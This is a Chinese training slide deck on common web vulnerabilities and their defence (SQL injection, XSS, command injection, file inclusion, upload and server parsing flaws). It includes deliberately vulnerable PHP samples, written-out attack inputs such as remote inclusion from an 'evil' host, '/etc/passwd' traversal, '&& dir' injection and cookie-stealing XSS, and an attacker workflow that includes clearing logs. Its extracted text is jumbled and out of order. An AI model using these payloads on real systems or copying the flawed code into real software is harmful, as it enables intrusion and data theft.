当前位置:文档之家› WEB漏洞检测与防范

WEB漏洞检测与防范


XSS的种类划分:
恶意代码存放位置
恶意代码效果
反射型XSS
Reflected XSS Nonpersistent 存储型XSS Stored XSS Persisten t
1 2 A
地址栏
用户点击恶意链接打开时 执行恶意代码,隐蔽性差
常见WEB漏洞检测与防范
从攻击者角度看代码安全
内容介绍:

近期安全事件; 目前流行攻击手段分析TOP 10; WebServer解析特性; 建议及演示;
安全事件回顾:


支付宝绕过授权登陆任意账号
土豆DNS劫持; 大众点评网DNS劫持 韩国多家电视台银行网络瘫痪; 域名注册商GoDaddy遭黑客攻击; 雅虎服务器被黑 45.3万份用户信息遭泄露; Web托管服务商Linode再次遭黑客入侵,信用卡和密码泄露; 中国互联网上最大规模泄密事件CSDN、天涯、人人、开心等上亿用户
“人是最薄弱的环节。你可能拥有最好的技术、防火墙、入 侵检测系统、生物鉴别设备,可只要有人给毫无戒心的员工 打个电话……”
---- Kevin Mitnick

定律:

一切输入都是有害的; $_GET,$_POST,$_COOKIE
安全运维中该注意哪些?
(五)WEB SERVER解析特性(演 示) :
远程文件包含:
http://127.0.0.1/dvwa/fi/?page=http://www.evilsi /evil.php
文件包含漏洞:
<?php Include( $_GET['page']); ?>
http://127.0.0.1:8080/file/file.php?page=../index.txt
windows系统,我们可以使用&&来实行命令执行。例如:
127.0.0.1 && dir
代码执行:
<?php if( isset( $_POST[ 'submit' ] ) ) { $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if (stristr(php_uname('s'), 'Windows NT')) { $cmd = shell_exec( 'ping ' . $target ); echo '<pre>'.$cmd.'</pre>'; } else { $cmd = shell_exec( 'ping -c 3 ' . $target ); echo '<pre>'.$cmd.'</pre>'; } } ?>
存储型XSS(XSS盲打):
找到一个XSS点之后
alert(/xss/); alert(document.cookie);
输入点长度限制
突破长度限制
漏洞的利用
恶意代码的隐蔽性
XSS蠕虫
盗取信息
恶意请求
跨站请求伪造(cross-site request forgery)通常缩 写为CSRF,直译为跨站请求伪造,即攻击者通过调用第三 方网站的恶意脚本或者利用程序来伪造请求,当然并不需 要向用户端伪装任何具有欺骗的内容,在用户不知情时攻
基线设置:

IIS/Apache/Tomcat/Jboss/Weblogic/WebSphere
• • • •
/manager/html /jmx-console/ /console/ :9080/ibm/console/
(七)代码执行漏洞
命令执行(命令注入)攻击的目的,是在易受攻击的应 用程序中执行攻击者指定的命令,在这样的情况下应用程 序执行了不必要的命令就相当于是攻击者得到了一个系统 的Shell,攻击者可以利用它绕过系统授权,基于权限继承 原则,Shell将具有和应用程序一样的权限。 针对linux系统,我们可以使用;来实行命令执行,针对
IIS6: asp;.jpg .asa .cer
Nginx: 123.jpg/1.php 23.jpg%00.php
Apache: 123.php.111


IIS 文件解析漏洞: IIS < 7
-后缀名.cer .asa .asp 以 *.asp 为目录名,目录下文件以 asp 解析

IIS 文件解析
(八)文件包含漏洞
一些web应用程序允许用户指定输入,直接使用文件流,
或允许用户上传文件到服务器。然后用户可以通过web应 用程序访问这些的内容,这样做会导致Web应用程序存在恶 意文件包含的漏洞。 比如本地文件包含: http://127.0.0.1/dvwa/fi/?page=../../../../../../etc /passwd
new.php?id=1 OR 1=1
$_GET['id'] = '1 OR 1=1'; $q = "SELECT * FROM info WHERE id = 1 OR 1=1";
http://127.0.0.1:8080/jin/new.php?id=1 and 1=2 union select
信息泄露;
黑客攻击流程:
信息收集(whois、google hacking、DNS、社工库)
漏洞扫描:Appscan、Acunetix Web vulnerability
Scanner、 WebInspect 漏洞利用:MSF、Sqlmap、Burpsuite 权限提升:Root、SA、Exp、ARP、第三方软件 密码破解:pwdump7、彩虹表、MD5、Cain
清除日志:Web log、security log、database log
OWASP TOP 10
1.
2.
SQL注入
8. 跨站请求伪造(CSRF) 脚本跨站(XSS) 9. 使用已知易受攻击组件 10. 未验证的重定向和传递
3.
4.
失效的身份认证和会话管理
不安全的直接对象引用
5.
6.
安全配置错误
B
C
D
数据库
用户浏览带有恶意代码的 "正常页面"时触发,隐蔽性强
反射型XSS:
<?php $error_message = $_GET['error']; print $error_message ; ?>
http://127.0.0.1:8080/xss/xss.php?id=“><script>ale rt(123)</script> http://127.0.0.1:8080/xss/xss.php?id=“>javascript: alert(document.cookie)

/files/a.asp/user.jpg http://webconf.orange.tw/files/user.asp;aa.jpg http://webconf.orange.tw/files/user.asp;jpg http://webconf.orange.tw/files/user.asp;.jpg

无限制的文件上传的后果各不相同,可以包括完整的系统接管、 文件读写、攻击操作系统上的其他中间件。这取决于应用程序
是如何进行安全配置,包括上传文件的存储位置。
文件上传漏洞(演示):
<?php if (isset($_POST['Upload'])) { $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; $target_path = $target_path . basename( $_FILES['uploaded']['name']); if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) { echo '<pre>'; echo '上传失败.'; echo '</pre>';
IIS解析时被分号截断

user.asp;aa.jpg
只要是.php.*结尾,就会被Apache服务
器解析成php 文件 APACHE 文件解析漏洞:

/files/user.php.zip
如果在mime.types文件里面没有定义的
扩展名在诸如x1.x2.x3的情况下,最后一 个x3的没有定义,apache会给解析成倒 数第二个的x2的定义的扩展名。
敏感数据暴露
7.
功能级别访问控制缺失
(一)SQL注入攻击:
程序把用户输入的一段字符串直接用在了拼凑sql语句上,导致了用户可 以控制sql语句,比如添加删除、绕过用户密码验证等。 http://127.0.0.1:8080/jin/new.php?id=1 $q = "SELECT * FROM info WHERE id = $_GET[id]";

理论上利用这种方法可以破解任何一种密码, 问题只在于如何缩短试误时间。因此有些人运用 计算机来增加效率,有些人辅以字典来缩小密码 组合的范围。
演示:使用BURPSUITE进行暴力破解
<?php if( isset( $_GET['Login'] ) ) { $user = $_GET['username']; $pass = $_GET['password']; $pass = md5($pass); $qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';"; $result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '</pre>' ); if( $result && mysql_num_rows( $result ) == 1 ) { // Get users details $i=0; // Bug fix. $avatar = mysql_result( $result, $i, "avatar" ); // Login Successful echo "<p>登陆成功,您可以进行其它操作。 " . $user . "</p>"; echo '<img src="' . $avatar . '" />'; } else { //Login failed echo "<pre><br>用户名或者密码错误。</pre>"; } mysql_close(); }
相关主题